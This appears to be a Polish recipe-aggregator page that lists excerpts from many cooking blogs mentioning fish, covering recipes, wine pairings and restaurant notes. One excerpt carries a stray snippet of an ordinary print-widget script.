prowansalskich, szczyptę pieprzu, wyciśnięte dwa ząbki czosnku. Pstrąga myjemy, szczyptę soli wcieramy w środek jej brzuszka.  Przygotowujemy kawałek folii aluminiowej, taki aby bez problemu schować w nim całą rybę.  Nadziewamy pstrąga przygotowaną wcześniej masą z masła, z zewnątrz skrapiamy cytryną i posypujemy szczyptą ziół prowansalskich, zawijamy w folii i pieczemy ok. 40 minut w temp 180 stopni

upichcona
Rozważania nad sadzonym jajem! 193

rozmiękczonymi warzywami sadzonymi z jajkiem dlatego warzywa kroję w paski lub talarki i dodaję na rozgrzaną patelnię po czym od razu wbijam jajko i smażę do ściętego białka. - z rybami z puszki W tej opcji polecam łososia lub tuńczyka w oleju. Nie używam wtedy dodatkowo masła lub oliwy gdyż ryby z puszki same w sobie są już nasączone tłuszczem. Rozgrzewam

upichcona
Kaeng Massaman Kai – CURRY MASSAMAN Z KURCZAKIEM + BALLARINI LUCCA 232

wysepki, ciągnące się od Phuket po Koh Samui. Kuchnia południowej Tajlandii to przede wszystkim kalmary, krewetki , ośmiornice i wszystkie soczyste owoce, które rosną prawie wszędzie. To wysublimowane przepisy na ryby grillowane od razu po złowieniu, ale również wpływy kuchni malezyjskiej , czyli łagodne curry z orzeszkami ziemnymi i orzechami nerkowca . Ja dziś owocami morza częstować Was nie będę , ale zaproszę własnie(...)wygodne w stosowaniu. Patelnia głęboka świetnie sprawdzi się zarówno jako rondel do duszenia sosów i potraw, naczynie do przyrządzania włoskiej pasty, jak i tradycyjna patelnia do smażenia kotletów czy ryb. Dwa ergonomiczne uchwyty ułatwią manewrowanie patelnią. Są one wykonane z tworzywa sztucznego i odporne na temperaturę do 160 stopni – możliwość stosowania w piekarniku. WŁAŚCIWOŚCI: Cząsteczki mineralne zawarte w powłokach Ballarini

Ostra na Słodko
Ramen po mojemu 154

daniem tej kuchni znanym na świecie prawie tak samo jak sushi, choć oryginalnie pochodzi... z Chin. Zanim dotarł do Kraju Kwitnącej Wiśni, jadało się tam głównie zupy na bazie ryb, a nie - jak ramen - na mięsie. Tak przynajmniej brzmi jedna z wielu historii dotyczących pochodzenia ramen. Największą popularność ramen zdobył po II wojnie światowej, kiedy w Japonii pojawiła się tania(...)przypieczętowało wynalezienie makaronu błyskawicznego przez Momofuku Ando w 1958 r. Ramen nie ma jednego, sformalizowanego przepisu - przyrządza się go zarówno na bazie kości lub mięsa wieprzowego, drobiu, jak i ryb. Różne są też dodatki: grillowana wieprzowina, szczypior,  gotowane na twardo  jaja, kiełki fasoli, pędy bambusa, suszone glony nori, czy kukurydza. Ramen doprawia się sosem sojowym lub też, choć

W SMAK
Rukola na ciepło 198

naszym domu podzielone - mnie smakowało bardzo, mojemu mężowi nieco mniej. Tak czy inaczej to świetny pomysł na zagospodarowanie nawet lekko przywiędłej rukoli. Lekko ostrawe zielsko, dobry dodatek do ryb czy mięs. Polecam! Przepis z książki "Istanbul" Rebecca Seal składniki 300 g rukoli masło 1 świeża papryczka chili, lub do smaku 1 łyżeczka soku z cytryny sól i świeżo zmielony pieprz(...)zwiędnie - to zajmie parę minut. Zdjąć patelnię z ognia odlać powstały płyn, dodać posiekaną chili, sok z cytryny, doprawić solą i pieprzem. Podawać gorące jako dodatek do mięsa lub ryby. Smacznego

Stare Gary
Kotlety siekane z łososia 129

Moim zdaniem łosoś to jedna z najlepszych ryb. Możemy go przygotować na bardzo wiele sposobów. Smażony, pieczony, gotowany, grillowany, w sałatkach, zupach, pastach… każdy będzie wspaniały. Jako danie główne, kolacja, przystawka – jednym słowem możliwości są nieograniczone. Kotlety siekane z łososia.   Składniki: - filet z łososia ok. 600g - 2 jajka - 1,5 czerstwej bułki (najlepsza 3 dniowa kajzerka) - 1 cebula

mojewypiekiinietylko
Recenzja książki "Gotowanie po włosku w 20 minut" Gino D'Acampo 176

się znaleźć. Jednak najważniejsze jest to, że przepisy mnie nie rozczarowały. Różnorodne, bardzo apetyczne, nieskomplikowane. Podzielone na rozdziały według podstawowego składnika, mamy tu więc dania z kurczaka, różnych mięs, ryb i owoców morza, dania makaronowe, warzywne, a dodatkowo zupy i przystawki oraz desery. Z pewnością każdy znajdzie tu coś dla siebie. Nie są to jednak tradycyjne przepisy kuchni włoskiej, bardziej(...)proste - ładnie wydana - bardzo apetyczne zdjęcia - przejrzysta prezentacja przepisów Minusy: - Nie wszystkie produkty mogą być u nas osiągalne, np. gotowa polenta w kawałku, ryż do gotowania w kuchence mikrofalowej, ryby tupu morlesz czy barwena. Jest też kilka przepisów z wykorzystaniem drogiej i trudno dostępnej w Polsce jagnięciny, która akurat w Wielkiej Brytanii jest popularna. Podsumowanie Książka "Gotowanie po włosku

Chilli Czosnek i Oliwa
MAJÓWKA I TESTOWANIE SUBSKRYCJI SUB CLUB 112

porze roku. W zestawie znalazły się woblery, błystki, przynęty gumowe..Wszystko co wędkarz powinien zabrać ze sobą podczas wypraw nad wodę. Przynęty się sprawdziły, na pewno są skuteczne, bo ryby na nie brały. Co prawda mniejsze ,ale juz widać że są skuteczne, mają wzięcie .Wymiar ochronny szczupaka w Naszych wodach wynosi 50 cm- rybki oczywiście wróciły do wody, aby mogły(...)jest subskrycja boxów, czyli po pierwszym zakupie każdego miesiąca kolejną paczuszkę dostaniesz prosto do domu, w każdej znajdą się kolejne zestawy dopasowane do odpowiedniej pory roku, gatunków aktualnie łowionych ryb.  Polecamy wszystkim takie subskrycje. W ofercie każdy znajdzie coś dla siebie, ponieważ do dyspozycji mamy wiele możliwości : *BAKEO- ze zdrowymi przekąskami *SHINYBOX-najlepsze kosmetyki *BOOK BOX PLUS-e-boki

Z Majeczką w kuchni
Kuchnia skandynawska i sandacz z burakami 176

czas najwyższy zdradzić, jaka kuchnia w tym miesiącu będzie tematem przewodnim W Kuchni Wieczorem . Zapraszam Was na kilka wpisów z daniami ze Szwecji, Danii i Norwegii. Surowy klimat, sporo ryb, proste przyprawy jak sól, pieprz, czosnek, szczypior czy koperek, ale również pieczywo i doskonale znane nam warzywa. To wszystko będzie się pojawiać w tym miesiącu. Możecie liczyć na sławne(...)Wymieszać. Na talerzach ułożyć sałatkę z buraków, szpinak, sandacza skóra do góry. Wymieszać śmietanę z sokiem z cytryny i szczyptą soli. Położyć po 1-2 łyżkach śmietany na wierzchu ryby

W kuchni wieczorem
Łosoś z cynamonową nutą w towarzystwie brokułów 128

Łosoś jest bardzo wdzięczną rybą, która sama w sobie ma doskonały smak. Dziś postanowiłam zrobić mały eksperyment, ponieważ Oskar uwielbia i łososia i cynamon, chciałam sprawdzić czy to połączenie ma sens. Zapach cynamonu rozpościerał się po całej kuchni, uwierzcie, to trzeba przeżyć. Potrzebujemy: pół dzwonka z łososia 2 różyczki brokuła 1 laska cynamonu Potrawa jest nadzwyczaj dziecinnie prosta, po prostu(...)wkładamy wszystko do parowara i parujemy w naszym przypadku 15 minut, bo mieliśmy wszystko zamrożone. Rybę dokładnie obieramy z ości i podajemy swojemu dziecku, bądź wykonujemy podwójną porcję i zjadamy razem z dzieckiem. ;) Smacznego! Skomentuj

MamaOskarka
Pstrąg łososiowy z grzybami z patelni 151

Szybki i wartościowy obiad w kilka minut. Polecam tak przyrządzone ryby bo to szybko i zdrowo a grzybów użyjcie ulubionych. Na naszym talerzu wylądowały gołąbki białozielone zwane też siwkami. Czasami w takiej prostocie największa siła. Pstrąg łososiowy z grzybami z patelni. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Zdrowe grillowanie 162

przesadzajmy z procentami, w ten sposób pobudza nasz apetyt i tym samy jemy po prostu więcej  tłustą kiełbaskę, boczek czy karkówkę zastąpmy chudym mięsem m.in pierś z kurczaka, ryby, wołowina jedzmy dużo warzyw- zawierają dużo wody, więc są nisko kaloryczne  zioła i przyprawy - idealnie nadadzą się do marynat i sosów  fit desery - zamiast ciężkich ciast z masami(...)świeża rukola lub sałata, pomidorki koktajlowe, nasiona dyni z oliwą z oliwek lub innym zdrowym olejem  filety z kurczaka w marynacie z ziołami i oliwą z oliwek grillowane ryby np. pstrąg z cytryną i czosnkiem, łosoś w ziołach  szaszłyki z mięsem lub warzywami czy owocami grillowane warzywa np. cukinia, pieczarki lub bakłażan  grillowane owoce np banan, mango

Truskawkowa Fiesta
Łosoś pieczony z nutą cytryny 206

odrobiną cytryny i upiekłam w piekarniku. składniki: 500 g łososia bez skóry sól,pieprz skórka otarta z cytryny sok z cytryny olej Filet łososia podzielić na dwie porcje. Rybę oprószyć solą, pieprzem oraz odrobiną startej skórki z cytryny. Następnie skropić delikatnie olejem i odrobiną soku z cytryny odstawić na minimum godzinkę do lodówki. Można też przygotować dużo wcześniej i odstawić

Monia miesza i gotuje
Go West – Odkryj wina Kalifornii. 107

Sauvignon Blanc. Nadchodzi wiosna i lato, a więc czas na wina białe. Do Chardonnay zjedlibyśmy z ogromną przyjemnością ostrygi, homary lub kraby, ale to banał. Mogą być również ryby w sosach maślanych, sałatki rybne, ceviche, lub łosoś w lekkim sosie holenderskim. Sauvignon Blanc powinien dobrze wypaść w towarzystwie grillowanych ryb np. łososia oraz białych mięs. Oczywiście każde wino można pić

królestwo garów
Poznaj Hiszpanię i Portugalię w tydzień z Lidlem 107

winogron odmian Parellada, Xarello i Macabeo. Dominujące aromaty owocowe ( zielone jabłka ) oraz migdały i toffi. Dobrze schłodzone można pić od rana do wieczora samo lub z daniami z ryb i drobiu. „ Pyrene” Chardonnay 2013 – 16,99 zł. Pachnie owocowo ananasem, gruszką , zielonym jabłkiem, Bardzo rześkie i orzeźwiające. Polecane schłodzone do drobiu. „ Mezquiris” Chardonnay 2013 – 14,99 zł. Tym razem(...)Navarry. Do ryby, drobiu oraz lekkich dań z dziczyzny. „ Velada” Moscatel 2013 – 16,99 zł. Z regionu Valencia. Półwytrawne. Powstało z winogron szczepu Moscatel. Dominują słodkie aromaty owoców cytrusowych ( brzoskwinie , morele ) w ustach lekkie nuty słodyczy. Przyjemne do sączenia w ciepłe dni lub do deserów.  Z win czerwonych zdecydowanie najbardziej smakowało mi Tirant lo Blanch „ Vendimia

królestwo garów
V Ogólnopolski Salon Win i Alkoholi M&P 122

Poważniejsze” niż poprzednie. Znajdujemy w nim owoce cytrusowe i kwiaty. W ustach cieliste, krągłe i eleganckie z przyjemnym długim finiszem. Doskonale będzie smakować z daniami z drobiu i rybami. Na koniec wino półsłodkie Villa Dria Gros Manseng. 100% typowej dla Gaskonii odmiany Gros Manseng. Wino jest bardzo aromatyczne. Pachnie cytrusami, owocami tropikalnymi, kwiatami oraz kandyzowanymi owocami. W ustach aksamitne(...)Stefani. De Stefani Venis Sauvignon Blanc. Dominują aromaty owocowe i kwiatowe. W smaku jest orzeźwiające z przyjemną mineralnością. Świetnie skomponuje się z warzywnymi pastami i lekkimi daniami z ryb. Będzie doskonałym partnerem dla wszystkich potraw ze szparagami.    De Stefani Vitalys Chardonnay. W nosie dominują aromaty jabłek, brzoskwiń, moreli i migdałów. W ustach jest przyjemnie, delikatne z subtelnym finiszem

królestwo garów
Navajas – iberyjska uczta 291

udaliśmy do Julity z wrzącej kuchni, gdzie przygotowaliśmy kolację. A Portugalia Gourmet zapewniło nam wino i w ten oto sposób … powstała kolacja iberyjska, gdzie portugalskie wino świetnie uzupełniło hiszpańskie ryby i owoce morza oraz hiszpańskie wędliny i sery. Wśród otrzymanych produktów znalazły się: - navajas; - ośmiornica – można kupić już ugotowaną, dzięki czemu jest zawsze miękką, delikatna i pyszna. Wystarczy do niej(...)Nova Kwiatowo-owocowe, słodko pachnące wino z Alentejo. Mimo pewnego ciężaru gatunkowego nie brakuje mu świeżości. Wino pozostawia posmak owoców (cytrusy, pigwa) i wanilii. Świetnie uzupełnia potrawy z pieczonych ryb, małży czy krewetek z grilla. Berek Branco 2013, Douro DOC, Niepoort Wino od renomowanego producenta z Douro – najbardziej rozpoznawalnego regionu winiarskiego Portugalii. Cieszy bardzo delikatnym, finezyjnym i eleganckim stylem

królestwo garów
Alto Adige – Wina z Południowego Tyrolu 149

chłodnego klimatu zbiór jest późny następuje w połowie października. Mała wydajność 45 hl/ha. Nos bardzo przyjemy mineralno – kamienny. Wino soczyste, pikantne, długie i bardzo dobre. Polecane do dań z ryb. Peter Zemmer - Punggl Pinot Bianco Alto Adige 2013. Ciepłe siedlisko. Punggl oznacza wzgórek. Winnica położona na dnie doliny Adygi. Wydajność 60 hl/ha. Fermentacja częściowo w stali częściowo w dużych drewnianych(...)słoneczną. Spory 14,5% alkohol. Aromatyczne - dominują zapachy kwiatowe bzu oraz akacji. W ustach dominują nuty owocowe oraz kwiatowe. Dobrze zrównoważone. Można polecić do serów, potraw z kurczaka i ryb, makaronów z lekkimi sosami oraz owoców morza. Tenuta J.Hofstätter -Joseph Gewürztraminer Alto Adige 2013. Wino pochodzi z winnicy w Tramin/Termeno uważanej kiedyś za kolebkę gewürztraminera. Jest to największa rodzinna

królestwo garów
Odkrywamy kalifornijskie wina II 141

passiflory, które rozciągają się po podniebieniu. Tekstura tego wina jest odpowiednia, z pewną dodatkową lepkością na przodzie oraz oczyszczającym finiszem, charakterystycznym dla klasycznych win Sauvignon Blanc. Doskonałe do ryb, owoców morza oraz potraw z białego mięsa. Importer:PWW Sp. z o.o. Panamera Chardonnay 2012 Region: California Aromaty cytryny, gruszki i jabłka, z nutą wanilii i cynamonu. Pyszne smaki dojrzałych gruszek(...)dojrzałych jabłek. Nos otwiera pikantne zapachy toffi i wanilii, a następnie zaskakuje egzotycznymi nutami przypraw i melona. Wino wprost stworzone do rozmaitych połączeń z jedzeniem. Będzie pasować do ryb, risotto z kurkami, makaronów z dodatkiem śmietanowych sosów czy drobiu. Importer: Wine Avenue (Rohlig Suus Logistics SA) Marimar Estate, La Masia Chardonnay 2009 Region: Russian River. Do fermentacji trafiają tylko wyselekcjonowane

królestwo garów
sushi lodowe i Filippo Novelli 137

Sushi... z czym nam się kojarzy? Danie kuchni japońskiej z ryżu zaprawionego octem ryżowym z dodatkami: owocami morza, rybami, omletem, warzywami...oraz wodorostami nori. Od jakiegoś czasu można zjeść sushi lodowe. Twórcą ich jest Filippo Novelli. Kucharz z zawodu, sommelier, degustator serów...cukiernik z pasji. Lubi poznawać nowe smaki. Sushi lody są połączeniem włoskich lodów (Filippo Novelli jest Włochem(...)międzynarodowym konkursie w branży lodziarskiej. Filippo Novelli opracował metodę tworzenia lodowych smakołyków. Robi lody o smaku czekolady z dodatkiem wasabi, lody z ryżu, zdobi owocowym „kawiorem”, układa owocowe płaty ryb (soki owocowe żeluje agarem) i owija je w "glony" z masy cukrowej. Do nadania pożądanych kształtów używa formy silikonowe, które sam zaprojektował. Miałam przyjemność uczestniczyć w dwóch pokazach, podczas targów

królestwo garów
Łosoś w sosie winogronowy- jabłkowym 185

Składniki: na 4 porcje 4 kawałki fileta z łososia kubek białych winogron 2 jabłka 2 łyżki cukru kubek półwytrawnego białego wina oliwa z oliwek kilka gałązek

Luźna Kuchnia
Słodko pikantna salsa. Lekki dodatek doskonały do ryb i mięs z grilla czy zwykłych chipsów 158

proszku - do rozrobienia. Smaczne są przeważnie - jednak co w nich jest - strach czytać na etykiecie. Oto pomysł na domowy sos, który doskonale nada się jako dodatek do ryb i mięs grillowanych lub pieczonych oraz przekąsek typu tortille czy chipsy. Do przygotowania w kilka minut, bez zbędnych zakupów. Składniki (na niewielką miseczkę):  3-4 plastry ananasa (może być z zalewy(...)upodobań i przeznaczenia sosu. Zbliża się majówka - czas wielkiego grillowania. Jeśli tylko pogoda dopisze to doskonały moment na wypróbowanie tego dodatku. Nada się zarówno do mięs jak i ryb z rusztu . Dip znajdzie wiele zastosowań w kuchni. Wystarczy dać się ponieść fantazji przy jego produkcji i dopasować go do własnego podniebienia

Kuchnia po mojemu
Smaki Islandii - tłuszcz z wieloryba 103

Kuchnia Islandii a zwłaszcza ta tradycyjna jest kuchnią prostą, opierającą się przede wszystkim na rybach, baraninie i jagnięcinie. Ale nie każdy wie, że można tam również spróbować dużo dziwnych i oszałamiających smakołyków. Justyna, mama chrzestna mojego synka obecnie mieszka na Islandii. Była tak miła, że przysłała nam kilka lokalnych smakołyków. Muszę powiedzieć, że jestem pod wrażeniem. Otrzymałam również od niej(...)może być smak tej galarety). Gdy się go je konsystencją przypomina galaretę. Momentami wyczuwa się kremowy śmietankowy smak, jest on delikatny ale wyczuwalny. Smalec ten ma delikatny aromat ryby. To już rozpakowany tłuszczyk. Wkoło jest galareta. Więc jak go przygotować? Nie mam zielonego pojęcia. Może się go je na surowo a może trzeba jakoś go obrobić. Próbowałam odkroić kawałek

Mama Gotuje
Łosoś na parze czy dorsz w migdałach ? 131

document.createElement('script');pf.type = 'text/javascript';if('https:' == document.location.protocol){js='https://pf-cdn.printfriendly.com/ssl/main.js'}else{js='http://cdn.printfriendly.com/printfriendly.js'}pf.src=js;document.getElementsByTagName('head')[0].appendChild(pf)})(); U nas w domu, każdy lubi rybę na swój sposób, dlatego tym razem robimy podwójne menu. Łosoś gotowany na parze z włoszczyzną oraz dorsz smażony w migdałach SKŁADNIKI: 2 dzwonki łososia 2 filety z dorsza ziemniaki pieczone(...)przykryciem. Natomiast dorsza obtoczyć najpierw w mące, następnie w rozbełtanym jajku a na koniec w płatkach migdałów. i smażyć na oleju do uzyskania złotego koloru panierki z migdałów. Obie ryby podałam ze szpinakiem i pieczonymi ziemniakami z masłem, rozmarynem i czosnkiem Smacznego

MarciochaKucharzy
Pstrąg w cieście solnym wg Magdy Gessler 445

często jadacie ryby? My staramy się przynajmniej raz w tygodniu Tym razem może oklepany pstrąg, ale w innej, ciekawej odsłonie. Inspiracją dla mnie był przepis  p. Magda Gessler Pstrąg w cieście solnym SKŁADNIKI: 1 sprawiony pstrąg o wadze około 20 dag 2 gałązki pietruszki 1 cząstka cytryny 1 ząbek czosnku 1 szklanka mąki 1 szklanka soli woda brokuł śmietana(...)pietruszkę, kawałek cytryny oraz pokrojone ząbki czosnku  (nie solić). Z mąki i soli wyrobić ciasto, dodając tyle wody, aby utworzyć zwartą masę. Takim ciastem oblepić przygotowaną rybę. Piec w 160-180 °C przez około 20-30  minut.  Rybkę zjedliśmy ze pieczonymi świderkami ziemniaczanymi oraz brokułem w sosie śmietanowo- czosnkowym. Pycha:) Szkoda tylko, że tego ciasta

MarciochaKucharzy
16.01 Dzień Pikantnych Potraw- Zupa Azjatycka z krewetkami i rybą 118

buliony warzywnego mieszanka warzyw chińskich kilkanaście krewetek 2 filety rybne sos sojowy 2 ząbki czosnku papryczka chili przyprawa curry sól, pieprz, kolendra, szczypiorek Sparzyć krewetki i mrożona rybę. Mrożone warzywa chińskie wraz z czosnkiem i papryczką chili podsmażyć na patelni. Do gotującego się bulionu dołożyć warzywa. Doprawić do smaku sosem sojowym i innymi przyprawami.  Na ostatnie 2 minuty dorzucić(...)krewetki, rybę i pokrojone w paseczki glony. Zupkę podawać oprószoną szczypiorkiem. Smacznego

MarciochaKucharzy
Pieczona dorada ze szpinakiem 137

słonecznik, oliwa Na patelni rozgrzać łyżkę masła, dodać drobno posiekany czosnek a po chwili szpinak. Doprawić solą i pieprzem. Dusić kilka minut na wolnym ogniu do uzyskania odpowiedniej konsystencji. Rybę oczyścić i osuszyć papierowym ręcznikiem. Grzbiet każdej ryby naciąć w 2-3 miejscach, do każdego nacięcia włożyć ½ plasterka cytryny. Rybkę posolić  i popieprzyć, nafaszerować wcześniej przygotowanym szpinakiem. Wierzch posypać

MarciochaKucharzy
Frytki, ryba i sos tatarski 258

smakują dużo lepiej od tych smażonych w głębokim tłuszczu. Przygotowałam do nich paluszki rybne oraz wspaniały sos tatarski z przepisu Kwestii Smaku. Post Frytki, ryba i sos tatarski pojawił się poraz pierwszy w Marta Gotuje

Marta Gotuje
La Boqueria 97

Barcelonie i miejsce, które koniecznie trzeba odwiedzić. Położony przy głównej ulicy La Rambla jest trudny do ominięcia. Codziennie kusi tłumy ludzi świeżymi owocami (również tymi z morza), warzywami, rybami oraz mięsem. Już przy wejściu barwy i zapachy otaczają z każdej strony. Przy stoiskach z rybami i owocami morza

Pink Envelope
Coś jak paella, ale nie do końca;) 157

prawdziwej paelli. Zapewniam, że jest PYSZNE!!! Skladniki 3/4 szklanki ryżu 1 cukinia 2 kolorowe papryki 1 nieduża cebula trochę mrożonego zielonego groszku 2-3 pomodorki (ja użyłam z puszki) ryba (ja użyłam mrożonego mintaja) pierś kurczaka  - akurat była w lodówce kilka krewetek (głównie ze względu na mojego męża:)) szafran kurkuma/curry (wiem, wiem to nie kuchnia indyjska, ale zobaczycie(...)osobną patelnię wlać trochę oliwy, wrzucić rozgnieciony ząbek czosnku i szczyptę chilli. Niech chwilę się rozgrzeją na wolnym ogniu. Na tak przygotowaną rozgrzaną oliwę wrzucić lekko posolone krewetki i rybę pokrojoną w kawałki. Smażyć kilka minut. Tak przygotowane rybki i krewetki ułożyć na daniu. Nie mieszać - chodzi o to żeby na dnie ułożyła się lekko przypieczona skorupka. Po zdjęciu patelni

Kulinarne Inspiracje
Placuszki gryczane z makrelą i słonecznikiem 141

podzielić na mniejsze kawałki. Obie mąki wymieszać z proszkiem do pieczenia, dodać żółtka, wodę i wszystko połączyć, aby powstała gładka masa. Dodać posiekane zioła, ziarna słonecznika i kawałki ryby, doprawić pieprzem i odrobiną soli (ryba jest słona, więc wystarczy naprawdę niewiele) wymieszać łyżką. Białka ubić na sztywną pianę i połączyć z ciastem. Smażyć na złoto na rozgrzanym oleju rzepakowym. Usmażone

Kulinarne Inspiracje
Ostry dip do mięsa i warzyw - salata hara 215

Salata hara (znany też pod jemeńską nazwą zhug ) - to rodzaj pikantnego dipa do mięsa, ryb lub warzyw stosowanego na całym Bliskim Wschodzie .  W zależności od regionu różni się on nieco składnikami, a tym samym także smakiem. Poniżej dwie, najbardziej popularne w Al-Khobar i Jubail, wersje salata hara stosowane do pieczonych mięs i warzyw.  Oba dipy charakteryzyją się(...)ostrym wyrazistym smakiem. Salata hara do mięsa i ryb   Składniki 3 posiekane pomidory   2 posiekane czerwone chili wraz z nasionami 3 - 4 łyżki natki ze świeżej kolendry   opcjonalnie 3 ząbki czosnku  lub   1 płaska łyżeczka mieszanki baharat   sól do smaku Przygotowanie Wszystkie składniki zmiksować w blenderze Salata hara do mięsa lub warzyw Składniki

Kulinaria - potrawy z różnych stron świata
Kuchenne zamienniki - co czym zastąpić i do czego stosować 185

zdominować smaku potrawy. Amchur (amchoor) - sproszkowane zielone mango Można zastąpić: sokiem z limonki lub w ostateczności z cytryny pastą z tamaryndowca Stosować do curry, warzyw, mięsa i ryb. Asafetyda (czarcie łajno, smrodzieniec) Można zastąpić: suszoną sproszkowaną cebulą lub suszonym sproszkowanym czosnkiem Bazylia świeża i suszona Można zastąpić estragonem cząbrem. Curry liście Można zastąpić świeżą bazylią lub liścmi limonki kaffir (patrz(...)najłatwiejszy w użyciu). Poszczególne rodzaje kardamonu mają też różne zastosowanie: kardamon zielony - najbardziej uniwersalny o słodkawo pikantnym smaku stosuje się do kawy ( tutaj przepis ), herbaty, deserów, duszonych mięs, zup, ryb, pasztetów i sałatek. Zielony lub czarny kardamon można też doda do gulaszu z wołowiny i ... bigosu. kardamon biały - to wybielony zielony kardamon, używany jest głównie do deserów i pieczywa. kardamon

Kulinaria - potrawy z różnych stron świata
Kwiecień - kuchnia żydowska 168

Okazuje się, że potrawy koszerne to po prostu potrawy czyste, ale w konkretnym tego słowa znaczeniu. Należy przestrzegać odpowiednich reguł: Nie wolno jeść pokarmów trefnych - wieprzowiny, skorupiaków i gadów, ryby tylko te z łuskami i skrzelami. Można je łapać w sieć, ale nie wolno wędkować. Nie wolno też polować. Nie wolno łączyć produktów mlecznych z mięsnymi. Wynika to ponoć(...)jednak reguły koszerności, które wśród mniej ortodoksyjnych Żydów sprowadzają się do niewłączania wieprzowiny do diety. Wiele potraw doskonale nam znanych możemy zaklasyfikować jako dania żydowskie - chałka to podstawa Szabatu, ryba po żydowsku jest znana w większości naszego kraju, śledzie w różnych postaciach czy strudel nie są dla nas niczym egzotycznym. Bardziej orientalna część kuchni żydowskiej to ta, gdzie widać

W kuchni wieczorem
Tradycyjna surówka z kiszonej kapusty 289

zrobieniu może poleżeć w lodówce kilka dni, więc można przygotować z większej ilości na zapas. Jest świetnym dodatkiem do drugiego dania, pasuje zarówno do mięsa jak i do ryb. Ta surówka ma cztery podstawowe składniki: kiszona kapusta, jabłko, cebula i marchew, oraz dodatki: sól, cukier, pieprz, natka pietruszki oraz olej. Można też surówki przygotować inaczej: Surówka z kiszonej kapusty(...)cebuli Surówka z marchewki – dietetyczna Surówka z kapusty, pora i koperku Surówka Colesław Surówka do ryby smażonej Surówka z kapusty pekińskiej surówka z modrej kapusty . surówka z młodej kapusty surówka z warzyw z papryką Klasyczna surówka z kiszonej kapusty: 500 g kiszonej kapusty 1-2 soczyste jabłka 1 marchew 1 cebula łyżka posiekanej natki pietruszki 2-3 łyżki oleju słonecznikowego

Damsko-męskie spojrzenie na kuchnię
Pulpeciki rybne w sosie koperkowym 142

Pulpeciki rybne w sosie koperkowym Składniki:   pół kg filetów, np. z miruny 1 cebula 1 ząbek czosnku 3-4 łyżki bułki tartej sól, pieprz przyprawa do ryb koperek (mrożony/świeży) mąka 3 łyżki śmietany 30% 2 łyżki wody olej 1. Cebulę i czosnek obrać i drobno pokroić. Przygotowane składniki przesmażyć na rozgrzanym tłuszczu. 2. Ryby umyć, osuszyć, pokroić

Ugotować
Sałatka z łososiem 129

ryby są smaczne i zdrowe, wie  chyba każdy . Dzisiaj czas na kolejną sałatkę , tym razem z moim ulubionym łososiem, delikatną i  lekką rybą . Przygotowanie jej zajmuje przysłowiowe - 5 minut. składniki na 2 porcje łosoś z puszki 2 pomidory 2 ogórki 3 liście sałaty lodowej 1 czerwona cebula odrobina oliwy z oliwek sól i pieprz przepis Pomidory , ogórki

Smakowite Dania
Sałatka z wędzonej makreli z pieczarkami 119

oliwek sól i pieprz natka pietruszki przepis Pieczarki myjemy starannie i osuszamy ,ścieramy je na tarce o dużych oczkach i od razu skrapiamy sokiem z cytryny , żeby nie ciemniały .Rybę obieramy z ości i dzielimy na niewielkie kawałki . Cebulę kroimy w kostkę i solimy. Wszystkie składniki mieszamy przyprawiamy solą i pieprzem , dodajemy natkę pietruszki   i polewamy oliwą(...)oliwek . warianty   zamiast makreli można użyć innej wędzonej ryby

Smakowite Dania
Pasta z dorsza wędzonego 201

Szybka, pyszna i znika równie szybko, jak posmarowanie nią pieczywa. Delikatna, czuć smak wędzonej ryby. Idealna na piątkową kolację. Składniki : 1 dorsz wędzony 4 rzodkiewki 4 jajka 1 mała cebula 1 łyżka musztardy 2 łyżki majonezu 1 łyżka ketchupu Sół, pieprz garść startego żółtego sera garść koperku Przygotowanie : Rybę obrać i oczyścić z ości, Rozdrobnić na mniejsze kawałki, rzodkiewkę umyć

Garnkowe fanaberie
Mała bezmięsna rewolucja i marokańska sałatka z marchewki 193

oczyścimy nasze organizmy po świątecznym obżarstwie. Mój Mąż przeszedł na weganizm, ja jednak, z uwagi na to, że jestem w ciąży, uzupełniałam swoją dietę o produkty mleczne i odrobinę ryb. Jestem świadoma tego, że kobieta w ciąży może dostarczyć swojemu organizmowi wszystkie składniki na diecie wegańskiej, jednak to wymaga wiedzy i wprawy, wolałam więc nie ryzykować, bowiem efekty moich błędów(...)Zgodnie z zasadami klasycznej diety śródziemnomorskiej po kurczaka można sięgać raz w tygodniu, po czerwone mięso jeszcze rzadziej, zatem mój sposób odżywiania oparty na produktach roślinnych uzupełnianych pewną ilością ryb, nabiału i jajek jak najbardziej wpisuje się w ten model. Kuchnia śródziemnomorska jest dla mnie niekończącym się źródłem inspiracji na bezmięsne dania i pomysłów na bloga z pewnością

Chilli Czosnek i Oliwa
Męską ręką: ryba wędzona 169

Wędzona w domowej wędzarni na dwa sposoby: na ciepło i na zimno. Te konkretnie przygotowane przez mojego Szwagra i Teścia.  Ryba wędzona na ciepło. Ryba wędzona na zimno

Ewa Kuchennie - Kuchnia to serce domu!
Palcem po mapie: Ostróda, Trattoria La Riva 192

mało, jak na tę potrawę, mięsa. No chyba, że było za dużo makaronu? ;) Spaghetti z parmezanem w delikatnym sosie pomidorowym - potrawa z karty dziecięcej, jedzącemu smakowała bardzo! Ryby Smażony sandacz z masłem czosnkowo-ziołowym podawany na chrupiącym groszku cukrowym - kolejna kompletnie niedoprawiona potrawa... Brak soli, brak pieprzu... Bardzo szkoda, bardzo!; koszt: 43 Smażony dorsz podawany prosto z patelni z białą(...)pizzy (o której na końcu), to było chyba najlepsze danie, które zostało zamówione! Dorsz - przepyszny, kapusta - bardzo dobra. Jedynie po ziemniakach nie było czuć, że były wędzone, ale smak ryby sprawiał, że ten szczegół można było pominąć ;); koszt: 36 zł   Dania mięsne  Krwisty sycylijski burger z wołowiny podany z serem Lazur, soczystym pomidorem, rukolą, kaparami, suszonymi pomidorami, parmezanem

Ewa Kuchennie - Kuchnia to serce domu!
Duszone pory z prażonymi orzechami laskowymi 200

Duszone pory w białym winie, z dodatkiem czosnku i świeżego tymianku. Posypane prażonymi orzechami laskowymi. Świetny dodatek do mięs czy ryb. Polecam w towarzystwie Soczystej dorady pieczonej pod solną skorupą , która wcale nie jest słona :) Składniki: (4 porcje) 4 pory (tylko białe części) oliwa lub olej do podsmażenia 3 ząbki czosnku 3 łodygi świeżego tymianku łyżka masła 150ml białego wina(...)końcem , aby namiar płynu odparował. Wyłóż pory na talerz, posyp uprażonymi orzechami laskowymi i posyp natką pietruszki. Polej sosem pozostałym z duszenia porów. Podawaj jako dodatek do mięs lub ryb. Ja podałam w towarzystwie „Soczystej dorady pieczonej pod solną skorupą ” i „ Pieczonych ziemniaczków z chilli i kurkumą „ . źródło: „Gordon Ramsay’s Ultimate Home Cooking

Moja Delicja
